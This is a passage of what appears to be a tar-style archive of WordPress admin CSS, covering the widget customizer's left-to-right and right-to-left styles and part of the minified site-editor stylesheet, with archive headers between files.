.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 1rem 0 0; text-align:left; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 .2rem 0 0; } .block-editor-block-contextual-toolbar.is-fixed{ margin-left:-12px; margin-right:-12px; overflow-y:auto; width:calc(100% + 24px) !important; z-index:7; } .block-editor-block-contextual-toolbar.is-fixed>.block-editor-block-toolbar__group-collapse-fixed-toolbar{ display:none; } .customize-control-sidebar_block_editor .block-editor-block-list__block-popover{ position:fixed !important; z-index:7; } .customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{ position:fixed !important; } .customize-widgets-welcome-guide__image__wrapper{ background:#00a0d2; margin-bottom:8px; text-align:center; } .customize-widgets-welcome-guide__image{ height:auto; } .wrap .customize-widgets-welcome-guide__heading{ font-size:18px; font-weight:600; } .customize-widgets-welcome-guide__text{ line-height:1.7; } .customize-widgets-welcome-guide__button{ justify-content:center; margin:1em 0; width:100%; } .customize-widgets-welcome-guide__separator{ margin:1em 0; } .customize-widgets-welcome-guide__more-info{ line-height:1.4; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{ background-color:#fff; min-height:100%; padding-top:12px !important; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{ overflow:unset; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{ margin-top:-12px !important; position:static !important; width:unset !important; } .components-modal__screen-overlay{ z-index:999999; } .customize-control-sidebar_block_editor,.customize-widgets-layout__inspector,.customize-widgets-popover{ box-sizing:border-box; } .customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before,.customize-widgets-popover *,.customize-widgets-popover :after,.customize-widgets-popover :before{ box-sizing:inherit; } .block-editor-block-contextual-toolbar.is-fixed{ border:none; border-bottom:1px solid #e0e0e0; border-radius:0; overflow-y:hidden; position:sticky; right:0; top:0; width:calc(100% + 24px); z-index:6; } .block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar-group{ border-left-color:#e0e0e0; } .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{ margin-right:-12px; }css/dist/customize-widgets/style.css000064400000015611151202620300013632 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{ background:#fff; box-sizing:border-box; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{ box-sizing:inherit; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{ margin:-12px; } #customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{ margin-bottom:0; } #customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{ transform:translateX(-100%); } .customize-widgets-header{ background:#f0f0f1; border-bottom:1px solid #e0e0e0; display:flex; justify-content:flex-end; margin:-15px -12px 0; z-index:8; } @media (min-width:782px){ .customize-widgets-header{ margin-bottom:44px; } } .customize-widgets-header.is-fixed-toolbar-active{ margin-bottom:0; } .customize-widgets-header-toolbar{ align-items:center; border:none; display:flex; width:100%; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{ border-radius:2px; color:#fff; height:24px; margin:12px 0 12px auto; min-width:24px; padding:0; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{ content:none; } .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{ background:#1e1e1e; } .customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{ margin-left:-12px; } #customize-sidebar-outer-content{ min-width:100%; width:auto; } #customize-outer-theme-controls .widgets-inserter{ padding:0; } #customize-outer-theme-controls .widgets-inserter .customize-section-description-container{ display:none; } .customize-widgets-layout__inserter-panel{ background:#fff; } .customize-widgets-layout__inserter-panel-header{ align-items:center; border-bottom:1px solid #ddd; box-sizing:border-box; display:flex; height:46px; justify-content:space-between; padding:16px; } .customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{ margin:0; } .block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{ background:#fff; } .customize-widgets-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .customize-widgets-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .customize-widgets-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } .customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 0 0 1rem; text-align:right; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 0 0 .2rem; } .block-editor-block-contextual-toolbar.is-fixed{ margin-left:-12px; margin-right:-12px; overflow-y:auto; width:calc(100% + 24px) !important; z-index:7; } .block-editor-block-contextual-toolbar.is-fixed>.block-editor-block-toolbar__group-collapse-fixed-toolbar{ display:none; } .customize-control-sidebar_block_editor .block-editor-block-list__block-popover{ position:fixed !important; z-index:7; } .customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{ position:fixed !important; } .customize-widgets-welcome-guide__image__wrapper{ background:#00a0d2; margin-bottom:8px; text-align:center; } .customize-widgets-welcome-guide__image{ height:auto; } .wrap .customize-widgets-welcome-guide__heading{ font-size:18px; font-weight:600; } .customize-widgets-welcome-guide__text{ line-height:1.7; } .customize-widgets-welcome-guide__button{ justify-content:center; margin:1em 0; width:100%; } .customize-widgets-welcome-guide__separator{ margin:1em 0; } .customize-widgets-welcome-guide__more-info{ line-height:1.4; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{ background-color:#fff; min-height:100%; padding-top:12px !important; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{ overflow:unset; } #customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{ margin-top:-12px !important; position:static !important; width:unset !important; } .components-modal__screen-overlay{ z-index:999999; } .customize-control-sidebar_block_editor,.customize-widgets-layout__inspector,.customize-widgets-popover{ box-sizing:border-box; } .customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before,.customize-widgets-popover *,.customize-widgets-popover :after,.customize-widgets-popover :before{ box-sizing:inherit; } .block-editor-block-contextual-toolbar.is-fixed{ border:none; border-bottom:1px solid #e0e0e0; border-radius:0; left:0; overflow-y:hidden; position:sticky; top:0; width:calc(100% + 24px); z-index:6; } .block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar.is-fixed .block-editor-block-toolbar .components-toolbar-group{ border-right-color:#e0e0e0; } .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{ margin-left:-12px; }css/dist/edit-site/style-rtl.min.css000064400000274120151202620300013416 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-right:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-right:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:280px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:4px;margin-left:-4px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}.interface-preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.interface-preferences-modal{width:750px}}@media (min-width:960px){.interface-preferences-modal{height:70%}}@media (max-width:781px){.interface-preferences-modal .components-modal__content{padding:0}}.interface-preferences__tabs .components-tab-panel__tabs{position:absolute;right:16px;top:84px;width:160px}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{content:none}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{content:none}.interface-preferences__tabs .components-tab-panel__tab-content{margin-right:160px;padding-right:24px}@media (max-width:781px){.interface-preferences__provider{height:100%}}.interface-preferences-modal__section{margin:0 0 2.5rem}.interface-preferences-modal__section:last-child{margin:0}.interface-preferences-modal__section-legend{margin-bottom:8px}.interface-preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.interface-preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.interface-preferences-modal__option+.interface-preferences-modal__option{margin-top:16px}.interface-preferences-modal__option .components-base-control__help{margin-right:48px;margin-top:0}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}.edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input{background:#fff;border:1px solid #ddd}.edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color)}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{overflow:scroll}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:right;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}.edit-site-template-actions-loading-screen-modal{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:transparent}.edit-site-template-actions-loading-screen-modal.is-full-screen{background-color:#fff;box-shadow:0 0 0 transparent;min-height:100%;min-width:100%}.edit-site-template-actions-loading-screen-modal__content{align-items:center;display:flex;height:100%;justify-content:center;position:absolute;right:50%;transform:translateX(50%)}.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 64px)}@media (min-width:960px){.edit-site-add-new-template__modal{width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;border-radius:2px;display:flex;flex-direction:column;justify-content:center;outline:1px solid transparent;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:transparent;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:transparent;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid transparent}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column-end:4;grid-column-start:1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-block-editor__editor-styles-wrapper .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{padding:6px}.edit-site-block-editor__block-list.is-navigation-block{padding:24px}.edit-site-visual-editor{align-items:center;background-color:#1e1e1e;display:block;height:100%;overflow:hidden;position:relative}.edit-site-visual-editor iframe{background:#fff;display:block;height:100%;width:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas{height:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{padding:48px}.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{border-radius:2px;max-height:100%}.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{overflow:visible}.edit-site-visual-editor .components-resizable-box__container{margin:0 auto;overflow:auto}.edit-site-visual-editor.is-view-mode{box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8)}.edit-site-visual-editor.is-view-mode .block-editor-block-contextual-toolbar.is-fixed{display:none}.edit-site-visual-editor__back-button{color:#fff;position:absolute;right:8px;top:8px}.edit-site-visual-editor__back-button:active:not([aria-disabled=true]),.edit-site-visual-editor__back-button:focus:not([aria-disabled=true]),.edit-site-visual-editor__back-button:hover{color:#f0f0f0}.resizable-editor__drag-handle{-webkit-appearance:none;appearance:none;background:none;border:0;border-radius:2px;bottom:0;cursor:ew-resize;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.resizable-editor__drag-handle.is-variation-default{height:100px}.resizable-editor__drag-handle.is-variation-separator{height:100%;left:0;width:24px}.resizable-editor__drag-handle.is-variation-separator:after{background:transparent;border-radius:0;left:0;right:50%;transform:translateX(1px);transition:all .2s ease;transition-delay:.1s;width:2px}@media (prefers-reduced-motion:reduce){.resizable-editor__drag-handle.is-variation-separator:after{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.resizable-editor__drag-handle:after{background:#949494;border-radius:2px;bottom:24px;content:"";left:0;position:absolute;right:4px;top:24px;width:4px}.resizable-editor__drag-handle.is-left{right:-16px}.resizable-editor__drag-handle.is-right{left:-16px}.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{opacity:1}.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{background:#ccc}.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{background:var(--wp-admin-theme-color)}.resizable-editor__drag-handle:focus:after{box-shadow:0 0 0 1px #2f2f2f,0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color)}.resizable-editor__drag-handle.is-variation-separator:focus:after{border-radius:2px;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:0}@media (min-width:783px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:160px}}@media (min-width:783px){.auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:36px}}@media (min-width:961px){.auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:160px}}.folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:0}@media (min-width:783px){.folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:36px}}body.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{right:0!important}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{display:block;position:sticky;top:0;width:100%;z-index:31}@media (min-width:782px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{align-items:center;display:flex;height:60px;margin-right:180px;min-height:auto;position:fixed;top:32px;width:calc(100% - 180px)}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:240px;top:0}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:80px;width:calc(100% - 140px)}.is-fullscreen-mode .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:144px}}@media (min-width:960px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{width:auto}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{width:calc(100% - 536px)}}.edit-site-canvas-loader{align-items:center;animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards;display:flex;height:100%;justify-content:center;opacity:0;position:absolute;right:0;top:0;width:100%}@media (prefers-reduced-motion:reduce){.edit-site-canvas-loader{animation-delay:0s;animation-duration:1ms}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-code-editor{background-color:#fff;min-height:100%;position:relative;width:100%}.edit-site-code-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:12px;width:100%}@media (min-width:960px){.edit-site-code-editor__body{padding:24px}}.edit-site-code-editor__toolbar{background:hsla(0,0%,100%,.8);display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-site-code-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-site-code-editor__toolbar{padding:12px 24px}}.edit-site-code-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 0 0 auto}.edit-site-code-editor__toolbar .components-button svg{order:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{font-size:15px!important;padding:24px}}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) 